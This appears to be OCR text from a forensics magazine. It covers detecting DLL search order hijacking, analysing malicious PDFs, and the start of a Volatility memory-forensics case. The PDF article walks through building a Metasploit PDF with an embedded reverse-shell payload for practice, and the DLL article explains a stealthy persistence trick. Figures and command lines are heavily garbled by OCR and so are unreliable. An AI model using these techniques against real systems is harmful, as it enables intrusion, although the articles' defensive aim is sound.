3892 [ Createfie C:\Windows'\System 32 \wersion.dll SUCCESS Desired Access: R

Figure 28. DLL search order vulnerability identification with Process Monitor

Figure 28 shows that the “mfc42.dll”, “odbc32.dIl” and “version.dll” are first searched in the directory
where the application has been launched; once they aren’t found they are searched and loaded from
the system32 directory. The operating system didn’t find these libraries in the current directory and then
started to search for them in the standard order. It is possible for an attacker to place this executable in
some autotart location of the system, and place a malicious DLL named as one of the three mentioned
within the same directory. Once the legit executable reaches the 1.cadribrary () function, the malicious
DLL can be executed and, if the DLL creates a new process or inject its code in some other process,
the legit application can also be terminated. Nothing will appear on the user’s screen. From the attack-
er perspective this is a more stealthy approach because he/she can place a non-malicious executable
in one of the autostart locations that will not raise a warning after a first investigation and can remain
drowned in the number of the legit autostart components. From a forensic perspective, the presence of
a DLL search order exploit implies that two DLLs with the same name exist in two different paths of the
file system. By reading carefully the Microsoft documentation about the DLL search order, we can say
that in our testing environment (which has a standard configuration) the DLLs are searched as follows:

» Directory where application is loaded from

* Current directory

+ System directory (C:\Windows\system32)

+ 16-bit system directory (C:\Windows\system)

» The Windows directory (C:\Windows)

* The directories defined in the paTn environment variable (can be accessed offline by inspecting the
HKEY _LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\Path)

So, to be more precise, in presence of a DLL search order exploit, a DLL must be present in the directo-
ries of point 1 or 2 that may be user-controlled, AND in one of the other system directories (points 3-6).

® e
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It may also be possible for instance that an executable installed in C:\Windows loads a library from C:\
Windows\system32 trough a vulnerable call to Loadribrary () and then the C:\Windows path is searched
before. However, writing in the C:\Windows directory requires the same privileges as writing to C:\Win-
dows\system32 so the legit DLL can also be replaced (in this case the attacker would need to bypass
some protection mechanism, such as the Windows Resource Protection — http://msdn.microsoft.com/en-
us/library/windows/desktop/aa382503%28v=vs.85%29.aspx). In our situation, we are able to identify the
DLL search order exploit through a Linux command line. I've placed the “graphedt.exe” in a directory of
the testing VM, and then I've re-imaged it. Inside the graphedt.exe directory | have placed additional fake
DLLs named “mfc42.dIP’, “odbc32.dII" and “version.dIl’. | have been able to identify the DLL search order
exploit with the command line shown in Figure 29: it searches all the DLLs outside C:\Windows and, for
each DLL it checks if a copy with the same name exist in one of the default search path. The first find
command, searches for all files with extension “.dll” (case insentivie) inside all the file system, except for
C:\Windows. Note that -maxdepth 100 indicates that the maximum number of subdirectories inspected
will be 100 (it has been chosen arbitrary as NTFS doesn’t have a real limit of subdirectories). For each
DLL path found, it greps just the DLL file name (the egrep command with -o switch). The sed command
removes the first forward slash character. The last while loop searches for DLL file name inside C:\Win-
dows\system32\. The command can be repeated for the other default library search paths.

lollo@tank: /tmp/mountpoint$ find . -maxdepth 100 -path ./Windows -prune -o -inam
e "* dl1" -primnt | egrep -1 -o "/[AF]*\_.dl1l" | sed 's/\f//g' | while read line;
do find .fwindnﬁs“?f;th"f -maxdepth 1 -name "$line"; done
./Windows/System32/sgmapi.dll

./Windows/System32/sgmapi.dll
./Windows/System32/mfc42.dll
. /Window stem32/odbc32.d1l

. /Windows /Sy _HNJZf#HIJIGH dll
lnlluﬂtan :/tmp D
Figure 29.DLL search order exploit identification (1)

At this point | know that there are DLLs with the same name in the C:\Windows\system32\ directory
and elsewhere on the file system. | need another command in order to identify their path and inspect the
folder content (Figure 30).

a o em3Z2/sgmapl.d
.“nlndc. System32/sgmapi.dll

.fWindows/System32/mfc42.dll

.fWindow stem32/odbc32.d11

./Windows/System32/version.dll” | egrep -o -1 "/[~A/]*\.d11l" | sed 'sin//7g'| whi
le read line; do find . -maxdepth 100 -path ./Windows -prune -o -iname "$line" -
print;done

.fProgram Files/Internet Explorer/sgmapi.dll

.fProgram Files/Windows Portable Devices/sgmapi.dll
./Program Files/Internet Explorer/sgmapi.dll

.fFrGEram Files/Windows Portable Devices/sgmapi.dll
.fUsers/lcantoni/AppData/Roaming/Identities/mfc42.d11
.fUsers/lcantoni/AppData/Roaming/Identities/odbc32.d1l
./Users/lcantoni/AppData/Roaming/Identities/version.dll

Figure 30. DLL search order exploit identification (2)

I've printed the DLL names on the stdout, isolated their name and searched their location on the file
system, outside of the C:\Windows directory. Now | can proceed with more analysis, for instance | can
check the digital certificate of the DLLs or see if an executable inside the path of that suspicious DLLs
have been placed in some autostart location, with the aim to launch them. As the reader can see, there
might be some false positives too (sqmapi.dll).

CONCLUSION

In this article we have analyzed the components involved in the boot process of a modern Windows
operating system. Probably, there exists many other way to launch an executable covertly than the
one shown in this article, however this article illustrates some techniques that requires short time
to be applied, making them a good point to start. In addition, many considerations can’t be applied

« =


http://msdn.microsoft.com/en-us/library/windows/desktop/aa382503%28v=vs.85%29.aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/aa382503%28v=vs.85%29.aspx

to older version of Windows. For instance, 32 bit Windows XP doesn’t digitally sign system executa-
bles so, it is harder for a forensic analyst to trust them. Hashing and hashes reputation have not been
covered extensively, because they are not directly involved in the process of searching evidence of
persistence, but they are definitely a fundamental piece of a forensic investigation. We have analyzed
a BIOS based system as they are still the most popular, but in the case we were facing a UEFI (Unified
Extensible Firmware Interface) based computer our analysis needs to be different, as there are differ-
ent mechanism for the first phases of the boot and different executables involved in it (the Xpaj bootkit
sample dsc12fcfeebbe63£74026601cd7£39b2 Will not work on such devices).
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ANALYSIS OF APOTENTIAL
MALICIOUS PDF DOCUMENT

THETOOLS AND BRIEF UNDERSTANDING OF THE
MECHANICS OF A PDF DOCUMENT

by Stephen Roy Coston Jr., MSDF | CFCE | CCE | EnCE | Security+

Cyber criminals are using special crafted PDF documents to
bypass governments and private sector intrusion detection
systems (IDS) and antivirus software. These PDF’s can be used in
phishing attacks and combined with social engineering to gain
a foot hold into your secure network. These attacks have been
on the rise as of late, and a malware analyst should beware

of this attack vector and the tools to analyze the potential
malicious document.

What you will learn:

ith the advances in technology, the attack vector for compromising a

» The different parts of a PDF file.
* The key words to look for when

analyzing a PDF document

* How to make a malicious PDF for

practice analysis

* The tools used to analyze a mali-

cious PDF document

What you should know:

« The analysis of a malicious PDF

should be conducted in an isolat-
ed environment.

+ Abasic understanding of the com-

mand line interface.

* Some knowledge of JavaScript

and shell code.

W system is growing. This article will focus on malicious Portable Doc-
ument Format (PDF) documents and how to create and analyze the
malicious PDF document. A PDF is an electronic image of a printed document
which can include graphics and embedded Shockwave Flash (SWF). SWF is
a proprietary vector graphics created by Adobe Flash. | am including how to
create the malicious PDF document so the reader can practice analyzing the
malicious document.

PDFs are used in both corporations and governments. According to McAfee
Threats Report First Quarter 2013 the United States of America hosted 35%
of PDF exploits and China hosted 11% of the PDF exploits. Additionally, ac-
cording to Symantec, in 2011, PDF attack vectors increased from 48.95%
to 61.20%. These malicious PDFs can be configured to download malicious
codes from the internet and still display the original documents. The attacker
can deploy the malicious document in several ways. These methods include
socially engineered emails with PDF attachments, or links to PDF files on
websites, or drive-by exploitation via adding malicious PDFs to websites vis-
ited by potential victims.

CREATION OF A MALICIOUS PDFS
Malicious PDFs can be created through the use of Armitage and Metasploit.
| recommend using Kali Linux on a VMware workstation. With Kali installed,
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open up a terminal and type the following command service postgresql start and press enter. The next
command is service metasploit start. Figure one shows the results of the two commands.

abase server: main.

Figure 1. Results of the commands to start Metasploit

Once metasploit is started you can then start Armitage. The command Armitage needs entered into
the terminal and enter is pressed. As a result, you should be presented with the following dialog box.
Figure 2 shows the box.

Host 127.0.0.1
Port 33353
User msf
Pass test
| Connect | | Help |

Figure 2. Connection to the Metasploit frame work

In the box, click the connect button. The next box that should appear is shown in Figure 3.

x Start Metasploit?

: , A Metasploit RPC server is not running or
0 not accepting connections yet. Would you
like me to start Metasploit's RPC server

for you?

| No | |uxes.

Figure 3. Connect to the Metasploit RPC Server

You should click yes; this will start the server. You will then see another dialog box stating connection re-
fused. This could take a few minutes depending on your VM configurations. Figure 4 shows the dialog box.

* Progress...

e connecting to 127.0.0.1:55553
java.net.ConnectException: Connection refused

| E—

Figure 4. Waiting on the connection to RPC server
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Once the connection is completed you should see something similar to Figure 5. Note your GUI will be
different base on how many other systems are connected.

Armitage
armitage View Hosts Attacks Workspaces Help
v (& awdliary |
- :_',] admin
- ;I analyze
* [ bnat
- ;I client
o ;I crawler
* (B docx _
» [ dos 02.168.0.6 92.168.0. 192, 168.0.7 192.168.0.1
> [ fuzers
* (& gather

aw

i Consale X

Current workspace: "Workspace 1"

Figure 5. Example of the Armitage GUI

At this time, in the search bar type “adobe em” you should see a list under the fileformat. We will use

adobe_pdf_embedded_exe. Figure 6 shows the search area and the list of files the one we will use is
circled in red.

Armitage ‘“iew Hosts Aftacks Workspaces Help

¥ (& exploit
¥ (& windows
¥ (&5 fileformat
| | adobe_collectemailinfo

adobe_pdf embedded _exe

_ | adobe_pdf_embedded_exe_nojs

Search Box

adobe em| /

-

Figure 6. Search area and list of files in Armitage

With adobe_pdf embedded.exe selected, another dialog box will appear. In this box, select the file
name and PDF file you wish to embed. The “Evil.PDF” will be located at the /root/.msf4/10cal/ file
name.pdf. The payload we selected was the windows/meterpreter/reverse tcp. When this PDF is open,
a revers tcp connection is made. The victim will see the pdf and it will look normal. The question now is

how does this work? We will now look at ways to reverse engineer the document to see exactly what is
going on inside the PDF.

STRUCTURE OF A PDF

The collections of different elements make the file structure and contents. The elements also provide
rendering and possible execution instructions. The physical layout of PDF starts like most files with a
header. The header for a PDF in hex is \x25 \x50 \x44 \x46” or ASCI| “% PDF-1.6". The header can be re-
view by a HEX editor or you can use the xxd command. The syntax for this command is xxd name of PDF
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file | head —n 1. The next part of the physical layout is the objects. Objects are stored using a reserve
word, which consists as a 7-bit ASCII string. These objects can be in several different types. These types
include Boolean, numbers, strings, dictionaries, and streams. Streams are used to store large amounts
of data. The file ends with a cross reference (xref) table and a trailer. Table 1 shows the possibilities of
different trailers a PDF might have.

Table 1. Different trailers of a PDF file

HEX ASCII

\XO0A \x25 \x25 \x45 \x4F \x46 (9%%EOF)
\XO0A \x25 \x25 \x45 \x4F \x46 \x0A (. %% EOF.)
\Xx0D \x0A \x25 \x25 \x45 \x4F \x46 \x0D \x0A (..9%%EOF..)
\X0D \x25 \x25 \x45 \x4F \x46 \x0D (90%EOF.)

The trailer is very import and contains the offset to the location of the xref table, number of objects,
the root object, and other metadata such as author and creation date. Figure 7 shows an example of the
trailer from the PDF we created with Armitage.

AID [<6113B74BD4287D46784FA14ACIFF35D1 ><6113B74BD4287D46 96

startxref 665386

PDF Comment °xxEQFsr~n’

Figure 7. Trailer of the evil. PDF created with Armitage

The “/Size” indicates how many objectives are in this PDF. There are a total of 476 objectives in this
PDF. The “/Prev” indicates the offset from the beginning of the file to the previous cross reference sec-
tions. The “/Root” or the dictionary specifies the reference object for the document catalog object. In this
example, the root element points to object 10. The “/info” indicates the reference object for the document
information dictionary. In this example, the info element points to the 770 object. The “/ID” specifies a two
byte unencrypted array string that form a file identifier.

In PDF files there are two types of objects. The first object is an indirect object. An indirect object is a
full object, which can be referenced. Figure 8 shows an example of an object.

£
#Filter ~FlateDecode
sLength 28812
sLengthl 58128

S

ohj 467 A

Type: ~KRef

Referencing: 1 @ R, Y7 A R
Contains stream

Figure 8. Example of an object

In this example, we can see the object number is 469 and the version number is 0. The keyword for this
object is obj. The “R” stands for references point. In this case 1 is the object and 0 is the version number
and 77 is the object and 0 is the version. Additionally, PDF use compressed streams. These streams are
used to store large amounts of data. Large data could include text, pictures, movies, and one of the most
important in malware PFDs JavaScripts. Streams are very important in malware analysis because they
are often used to store JavaScript exploits.
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The streams are often compressed to save space within the PDF. The keyword to look for is “/Filter”.
Filter indicates the compression algorithm used in the compression. The types of compression used are
ascii hex decode, ascii85decode, LZWdecode, flatdecode, runlengthdecode, ccittfaxdecode, and dctde-
code. The most frequently used compression is flatedecode, which use an algorithm very similar to Unzip.
The flatedecode is also used to encode JavaScript in PDF documents. The flatedecode uses the Zlib’s
public-domain decompression algorithm. Table 2 shows a list of the most commonly used compression.

Table 2. List of most common compression abbreviations

ASCHHexDecode Ahx
LZWDecode LZW
CCITTFaxDecode CCF
FlateDecode Fl
ASCII85Decode A85
RunLengthDecode RL
DCTDecode DCT

There are some keywords that a malware examiner should look for while viewing a possible malicious
PDF document. The /AA and /OpenAction keywords are very important. These keywords indicate an
automatic action. Additionally, the keywords of /Names, /AcroForm, /Action, and /Launch can be used
to launch scripts. These automatic actions run when the pdf document is open. Next, the keyword of
/JS and /JavaScript indicates a JavaScript code; furthermore, the keyword of /RichMedia indicates the
embedding of a flash program in the PDF. The keyword /ObjStm are sometime used to define an object
stream that is hidden within another. Lastly, the PDF file can use the keywords of /URI, /SubmitForm, and
/GoToR can be used to access a resources and send data via a URL.

ANALSIS TOOL USED FOR MALICIOUS PDF

Now with a basic understanding of how to create a malicious PDF and basic understanding of the layout
we are now ready to look at the tools used for analysis of malicious PDF documents. The first tool we are
going to look at scans a potentially malicious PDF for keywords. The following Flow Chart illustrates the
process for analyzing a malicious PDF.

Malicious pdf
obtained

Check for
keywords

Deobfuscate
strings and object
for JavaScript

=

Extract Shellcode

Figure 9. Process of analyzing a malicious PDF with Shell Code
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The tool is called pdfid which was written by Di- BV g (V=1 e V (@) 2] =@\ VA = DL |\ 255

dier Stevens (Stevens, 2009). This tool is a com-

mand line tool written in the python script. The syn- TO THE CLOUD TODAY

tax to use this tool is as follows pdfid.py name.pdf.
An example of the output can be seen in Figure 10:

twDocuments and Settings™HAd
PDFiD B.1.2 evil.pdf

PDF Header: =PDF-1.5

ohj s
endohj 129
stream 3A
endstream 36
wref

trailer
startxref
<Page
Encrypt
S0hjStm

P
sdJavaScript
SHA
S0penfAction
#AcroForm
AJBIG2Decode
sRichMedia
sLaunch
EmbheddedFile
~aFA

/Colors > 2724

-—r

S S S S e b ek b ek B L L) L L

Figure 10. The output results from the pdfid.py tool

. MULTI-VENDOR
This tool can also be used to extract the metadata
out of the trailer of the PDF file. The syntax for this ANY DEVICE
command is pdfid.py —extra file.pdf. This will extract
the MAC times and the author of the PDF. The next HYBRID CLOUD
tool that is used to analysis a potential malicious
PDF is pdf-parser.py. This tool will parse the ele-
ments and structure. Additionally, this tool display
object contents and pass these object through a fil-
ters for decompression. Lastly, the tool can search
strings within objects. The syntax to use this tool is
pdf-parser.py file.pdf. This will simply parse the ele-
ments. Figure 11 shows an example of the output.

CLOUD) ITERATION
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nhj 465 @
Type:
Referencing:

phj 466 8

Type:
Referencing:
Contains stream

L
#Filter FlateDecode
sLength 37844
sLengthl 193432

)

phj 467 A

Type:
Referencing:

Figure 11. Output results from the pdf-parser.py tool

This tool can also be used to search for PDF keywords. The command syntax for this would be pdf-
parser.py — search keyword name of the file.pdf. This tool can also be used to decompress the contents
of a data stream. The command syntax is to apply the —filter parameter to pdf-parser. When using this
parameter it is helpful to use the —raw parameter. This parameter will insure the output will not be escap-
ing its special characters. Lastly, if the object is being filtered is suspected of having JavaScript redirect
the output to JavaScript.js file.

This tool can also be used to decompress strings with in an object. The command to complete this
would be pdf-parser.py —object 473 —filter name of.pdf. This script was run on the pdf that was created in
the beginning. The results can be seen in Figure 12.

phi 473 0

Type:
referencing:
Contains stream

TPE D0 00N 03N 00N 00 00N, x 04
L0 D0 00N 00 D0 OO 00N 02N,
OO Q0N 0 0EN x 005 x 00 O, rsrahx0]
00N 00 00N 00N e D0 QDN 00 e 00
OO D0 00N 00N e D0 QDN 00 e 00
KOO 00 00N 00N x 00 0000 00N
OO D0 00N 00N e D0 QDN 00 e 00

T R Y R Y T o T L Y o L R T o R o T R Ta R

Figure 12. The decompress string of object 473

The results show an output of a bunch of HEX. Additionally, the MZ \x90 \x00 \x03 or reviewed in a
hex editor \x4D \x5A \x90 \x00 \x03. This is the file signature for a Win32 binary executable. This stream
output can be redirected to save in a text file. With the text file, the python script shellcode2exe.py —s
nameof the text file. The results of this script will produce a .exe file. The exe file can then be loaded in
to a debugger or disassembler.

The results from this tool could potentially produce JavaScript that was compressed in the string.
The JavaScript could be obfuscated. The tools recommend to de-obfuscate the JavaScript is the de-
buggers of firebug or Rhino. You could also use stand along tools such as SpiderMonkey or Revelo to
deobfuscate the JavaScript.

Malicious JavaScripts use several different types of deobfuscating subroutines. This deobuscating is
usually complted by invoking the eva1 () or the document.write (). The Firebug plugin for FireFox can be
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used. The JavaScript needs to be saved as an html file. In the file, after the <script> tag you will need
to place the word debugger; on a new line. Figure 13 illustrates the completion of adding the debugger;

|<SCE1pT >
debugger4
var pr = null:

var fnc

var Sum

app.doc.synocinnocScand)

if {app.plugIns.length I= 0) {

var num = 1;

pr = app.doc.getcinnots(

£

Figure 13. Placing the debugger; into the script

Once the code has loaded into firefox scroll through the code and find the first eval or document.
write () and set a break point by right-clicking on whichever word has been located. This process might
need to be completed a few times for all deobuscating to be complete. To review the information from
firebug, in the console tab type console.log(txt).

The Origami Frame work is another tool used to analyze malicious PDF. The tool is written in Ruby and
allows for the examination and extraction of objects in a PDF. Additionally, the program allows for a PDF
to be created from scratch. The Frame work includes several other tools such as pdfwalker, pdfextract,
pdfsh, pdfdecrypt, and others.

One tool within the frame work that is very fast at extracting various contents within a PDF file is pdfex-
tract. The syntax used is pdfextract name of the file.pdf. This will extract any content including images
from a pdf. The use of the —j in the pdfextract is of great use in malware analysis of pdf. This will extract
all of the JavaScript from the pdf and save the file as a dump file. Another tool that can be used to ex-
tract JavaScript is Jsunpackn’s pdf.py. This tool creates a .out file for the extracted JavaScript. The file
contains the PDF header lines. These header lines will need to be removed to analyze the JavaScript.

There are additional tools for analysis of a PDF. One tool is PDF Stream Dumper. This tool is a Win-
dows program, with a GUI, that allows an examiner to explore a PDF and deobfuscate JavaScript. A simi-
lar tool is Peeddf which is command line and it also analyses the contents of the PDF. Lastly, swf_mastah
tool is used to extract SWF files that are embedded within a PDF.

PROTECTION

These types of attacks cannot be completely prevented because we are dealing with human nature.
With human nature you will always have that one individual that will open the PDF because that indi-
vidual was curious about what was inside the PDF. Luckily, there are ways to mitigate the damages if
the PDF is open. Below is a list of recommend actions to prevent the damages.

List of recommend actions to prevent damages

» Education of employees on social engineering, malicious PDF, and smart computing
* Allow automatic updates for Adobe and stay up to date on patch management for Adobe product
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* Do not allow PDF browser integration

+ Disable the use of JavaScript within Adobe Reader and limit the usage within the internet browser
* Do not allow non-PDF attachments to launch with external applications

* Use an alternative PDF viewer

The education of employees on social engineering, malicious PDF, and smart computing can be coun-
tered with proper training and procedures. These two prevented measures can reduce the risk of acci-
dental data loss. The automatic updates for Adobe are important for security and the prevention of pos-
sible malicious attacks. The updates are released on a quarterly basis. Lastly, there are alternative PDF
viewers. A few of the alternative PDF viewers are Sumatra, Foxit, and PDF-XChange.

The individual that receives a suspicious PDF document should not open the PDF. The individual
should notify the network administrator to take the proper steps to analyze the PDF in a secure environ-
ment. In the event the individual did open the PDF and was infected a full forensics analysis of the ma-
chine and network must be conducted to see what information might have been compromised. Lastly,
the individual user should not conduct this examination or remove any cables from the machine without
being told by one of the security team members.

CONCLUSION

The uses of PDF documents are not going away anytime soon; therefore, neither will the attacks.
We must educate our employees on the dangers associated with opening up PDF attachments from un-
known senders. As malware examiners, we need to know the keywords to look for and once found how
to analyze with the proper tools in our toolkit. Lastly, as examiners we need to stay adhered to the cur-
rent threats and patches.

FROM THE WEB
http://www.kali.org/downloads/
http://www.fastandeasyhacking.com/download

R EFFERNCES
http://resources.infosecinstitute.com/analyzing-malicious-pdf/
http://esec-lab.sogeti.com/post/2011/05/24/Origami-1.0-released%21
http://www.kahusecurity.com/tools/
http://blog.spiderlabs.com/2011/09/analyzing-pdf-malware-part-1.html
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
http://blog.didierstevens.com/2009/03/31/pdfid/
http://www.garykessler.net/library/file_sigs.html
http://sandsprite.com/blogs/index.php?uid=7&pid=57
http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah
http://www.slideshare.net/null0x00/client-side-exploits-using-pdf
http://www.mcafee.com/us/resources/reports/rp-quarterly-threat-q1-2013.pdf
http://blogs.adobe.com/adobereader/2013/09/take-control-of-your-adobe-acrobat-and-adobe-reader-up-
dates.html
http://www.symantec.com/content/en/us/enterprise/other_resources/bistr_main_report_2011_21239364.
enus.pdf?om_ext_cid=biz_socmed_twitter_facebook_marketwire_linkedin_2012Apr_worldwide_ISTR17

ABOUT THE AUTHOR
Stephen Coston is an independent consultant at Semper Fi Forensics, who is looking for employment op-
portunity. He has finished all of his course work for his Doctorate of Science in Information Assurance from
Capitol College in Laurel, Maryland. He also holds two Masters of Science degrees from the University of
Central Florida in Orlando, Florida in Digital Forensics and Criminal Justice. He also has a Bachelor of Sci-
ence in Engineering Technology — Information Systems Technology Concentration from Daytona State Col-
lege in Daytona Beach, Florida. He currently holds the following certifications: Certified Forensic Computer
Examiner (CFCE) from the International Association of Computer Investigative Specialists (IACIS), Comp-
TIA A+, Network+, Security +, EnCE, and Cellebrite UFED Logical and Physical Certification. His LinkedIn
profile can be found at www.linkedin.com/pub/stephen-c-msdf-cfce-ence-security/48/306/154/.



http://www.kali.org/downloads/
http://www.fastandeasyhacking.com/download
http://resources.infosecinstitute.com/analyzing-malicious-pdf/
http://esec-lab.sogeti.com/post/2011/05/24/Origami-1.0-released%21
http://www.kahusecurity.com/tools/
http://blog.spiderlabs.com/2011/09/analyzing-pdf-malware-part-1.html
http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
http://blog.didierstevens.com/2009/03/31/pdfid/
http://www.garykessler.net/library/file_sigs.html
http://sandsprite.com/blogs/index.php?uid=7&pid=57
http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah
http://www.slideshare.net/null0x00/client-side-exploits-using-pdf
http://www.mcafee.com/us/resources/reports/rp-quarterly-threat-q1-2013.pdf
http://blogs.adobe.com/adobereader/2013/09/take-control-of-your-adobe-acrobat-and-adobe-reader-updates.html
http://blogs.adobe.com/adobereader/2013/09/take-control-of-your-adobe-acrobat-and-adobe-reader-updates.html
http://www.symantec.com/content/en/us/enterprise/other_resources/bistr_main_report_2011_21239364.enus.pdf?om_ext_cid=biz_socmed_twitter_facebook_marketwire_linkedin_2012Apr_worldwide_ISTR17
http://www.symantec.com/content/en/us/enterprise/other_resources/bistr_main_report_2011_21239364.enus.pdf?om_ext_cid=biz_socmed_twitter_facebook_marketwire_linkedin_2012Apr_worldwide_ISTR17
http://www.linkedin.com/pub/stephen-c-msdf-cfce-ence-security/48/306/154/

J/. Frogteam|Security
GCyher Warfare intelligence

Total Cyber Security Solution

r

Total Cyber Security' Solution fﬁ

Anahre Crre. [Prosmmm

TOTAL CYBER SECURITY SOLUTION

Frogteam|Security unique solution allows organizations,
companies and security administrators to:

* Analyze organization cyber assets (Cloud:Scope).

e Cure using Sec:Cure by correlating analysis results with
an easy to use fix module (Sec:Cure). ‘ —
¢ Prevent using Signa:Gen - TCS Cyber Seal is a sophisticated @ _ i%
active and live client that is able to detect and prevent o
different cyber-attacks techniques and vectors.

Analyze Cure Prewﬁf

Why TCS Cyber Seal is important?

TCS Cyber Seal helps building consumer’s trust.
With the majority of shoppers’ continued
concern when providing personal data online -
using the Signa:Gen for websites’ seal of
security will help you concentrate on
expanding your business. Signa:Gen - TCS
Cyber Seal product objective is to ensure

the safety of e-commerce business over

the internet. This can be achieved through
independent check by the appointed
organization which certifies qualified
merchant(s) or company(s).

For more information visit our website at: http://www.frogteam-security.com

Frogteam|Security Ltd Corporate Headquarters Special Offer for eForensics members '
E-mail: info@frogteam-security.com 1875 Century Park East #700 Scan this QR barcode to register -
Website: www.frogteam-security.com Los Angeles, California 90067, 2 : -

United States with mobile now and get Special

Tel: +1 (408) 504-4903 Offer of 10% discount.

Frogteam | Security www.frogteam-security.com



/////% eForensics

IM a g a zin e

FINDING ADVANCED
MALWARE USING
VOLATILITY

by Monnappa Ka

When an organization is a victim of advanced malware infection,
a quick response action is required to identify the indicators
associated with that malware to remediate and establish better
security controls and to prevent the future ones from occurring.
In this article you will learn how to detect advanced malware
infection in memory using a technique called “Memory Forensics”
and you will also learn how to use Memory Forensic Toolkits such
as Volatility to detect advanced malware in a real case scenario.

» Performing memory forensics . . . ..
. running computer. Memory forensics plays an important role in inves-
« Tools and techniques to detect ad- iqati d incident It help i t ti f .
vanoed malware usingMemory fo- | 1 tigations an incident response. It can help in extracting forensics ar-
rensics tifacts from a computer’s memory like running process, network connections,

« Volatility usage loaded modules etc. It can also help in unpacking, Rootkit detection and re-

verse engineering.
 Basic understanding of malware STEPS |N MEMORY FORENS'CS

* Knowledge of operating system | Below are the list of steps involved in memory forensics
processes
* Understanding of Windows Inter- | o NMemory Acquisition — This step involves dumping the memory of the tar-
nals get machine. On the physical machine you can use tools like Win32dd/
Win64dd, Memoryze, Dumplt, FastDump. Whereas on the virtual ma-
chine, acquiring the memory image is easy, you can do it by suspending
the VM and grabbing the “vmem” file.
* Memory Analysis — once a memory image is acquired, the next step is to
analyze the grabbed memory dump for forensic artifacts, tools like Volatil-
ity and others like Memoryze can be used to analyze the memory.

VOLATILITY QUICK OVERVIEW

Volatility is an advanced memory forensic framework written in python.
Once the memory image has been acquired, Volatility framework can be used
to perform memory forensics on the acquired memory image. Volatility can be

® e

M emory Forensics is the analysis of the memory image taken from the
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installed on multiple operating systems (Windows, Linux, Mac OS X). Installation details of volatility can
be found at http://code.google.com/p/volatility/wiki/Fullinstallation.

VOLATILITY SYNTAX

» Using -h or --help option will display help options and list of a available plugins
Example: python vol.py -h

+ Use -f <filename> and --profile to indicate the memory dump you are analyzing
Example: python vol.py -f mem.dmp --profile=WinXPSP3x86

* To know the --profile info use below command:
Example: python vol.py -f mem.dmp imageinfo

DEMO
In order to understand memory forensics and the steps involved, Let’s look at a case scenario, our analy-
sis and flow will be based on the below case scenario.

CASE SCENARIO

Your security device alerts on malicious http connection to the domain “web3inst.com” which resolves to
192.168.1.2, communication is detected from a source ip 192.168.1.100 (as shown in the below screen-
shot).you are asked to investigate and perform memory forensics on the machine 192.168.1.100

rFilﬁdit View Go Capture Anahze Statistics Telephony Tools Help

B el Bx@d aevaTL([E@Eacaan @apmx B
Filter: tep.stream eql = Expression.. Clear Apply
Me. Time Source Destination Pratacal Info
11 2.475826 192.168.1.100 192.168.1.2 TCP 1037 > B0 [5¥MN] Seq=0 Win=64240 Len=0 MSS=14G0 SACK_PERM=1
1272.492338° 192 168.1.2 192716871100 TCH B0 > 1037 [S¥N, ack] Seqe0 Acksl wine14600 Len=0 MSS=1460 SACK_PERM=]
13 2.492615 192.168.1.100 192.168.1.2 TP 1037 = B0 [AcK] Seq=1 Ack=1l Win=064240 Len=0
14 2.493186  192.166.1.100 A22,168,0,2  HITP  GET Jideoieremde /main HITP/L.0
15 2.493214 192.168.1.2 Follow TCP Straam - P e——— - |y -
16 2.544580 192.168.1.2 o — — - 1
17 2.547392 192.168.1.2 Stream Content :
18 2.547564 192.168.1.100 )
GET /tdss/oromds /main HTTP
19 2.547977  192.166.1.100 User-Agent: Mozdil11a/4.0 ca“pntlL'Ie MSIE 6.0% Windows NT 5.1: Sv1) 3
20 2.548000 192.168.1.2 M| Host: web3inst.com i
Pragma: no- cache
« Frame 11: 62 hytes on wire (496 bi
D SRR Fl °3rf‘f27356: i [Eind][Save s (prine] 192.168.1.1001037 > 192.168.1.280 (141 byees) [=]© ascn o eseoic © HexDump © € Amays ® Raw
- Transmission Control Protocel, sry )
Help Filter Out This Seeam Choie

Figure 1. Alert on a malicious http connection to the domain “web3inst.com”

MEMORY ACQUISITON
To start with, acquire the memory image from 192.168.1.100, using memory acquisition tools. For the
sake of demo, the memory dump file is named as “infected.vmem”.

ANALYSIS
Now that we have acquired “infected.vmem?”, let’s start our analysis using Volatility advanced memory
analysis framework.

STEP 1: START WITH WHAT YOU KNOW

We know from the security device alert that the host was making an http connection to web3inst.com
(192.168.1.2). So let’s look at the network connections. Volatility’s connscan module, shows connection
to the malicious ip made by process (with pid 888)

* rootbt: ~/volatility_2.3_beta

2 y_2.3 _beta# python vol.py -f infected.vmem connscan
I.'cr'La.tz‘L& Systems vnlatlhtv Framework 2.3 _beta

I:Iffwtl.Pi Local Address Remote Address

EI.I'E'BSI:P?].E 192.16 i 192.168.1.2:80

Swolatilit y_2.

www.eForensicsMag.com € »


http://code.google.com/p/volatility/wiki/FullInstallation

0
) =fqrensics

STEP 2: INFO ABOUT WEB3INST.COM

Google search shows that this domain (web3inst.com) is known to be associated with malware, probably
“Rustock or TDSS Rootkit”. This indicates that source ip 192.168.1.100 could be infected by any of these
malwares, so we need to confirm that with further analysis.

Rustock Rootkit Variants and TDSServ Kit - NoBirusThanks Blog
blog.novir&sthanks.org/2008/12/rustock-rootkit-variants-and-tdsserv-kit/ ~

Dec 27, 2008 - ... .data:1000BFF4 00000025 C hxxp://web3Inst.com/tdss/crcmds/main <:
.data:1000C01C 00000025 C hxxp://webdinst.com/tdss/cremds/main ...

web3inst.com dropped on 2011-04-11 | Tools4Domains
www.tools4domains.com/dropping_domains/01-22.../web3inst.com ~

web3inst.com was available from SnapMames or NameJet on Friday 22 January 2010
01-22-2010 DETAILS ...

Antivirus scan for 889097 11aac45079080c934486b8bfc? at 2013 ...
www_virustotal.com/latest-report.ntml?resource... =

.. control codes directly to certain device drivers making use of the DeviceloControl
Windows API function. DNS requests. web3inst.com. UDP communications.

Antivirus scan for 24a68f8025dfdedb0dbe03deb1d691c6 at 2013 ...
www.virustotal. com/latest-report.ntml?resource...
Network activity. DNS requests web3inst.com. UDF communications. <

[ - v e e e e T . I Trf® | Privimmns melioes

STEP 3: WHAT IS PID 888?
Since the network connection to the ip 192.168.1.2 was made by pid 888, we need to determine which
process is associated with pid 888. “psscan” shows pid 888 belongs to svchost.exe.

:~/volatility 2.3 beta# python vol.py -f infected.vmem psscan
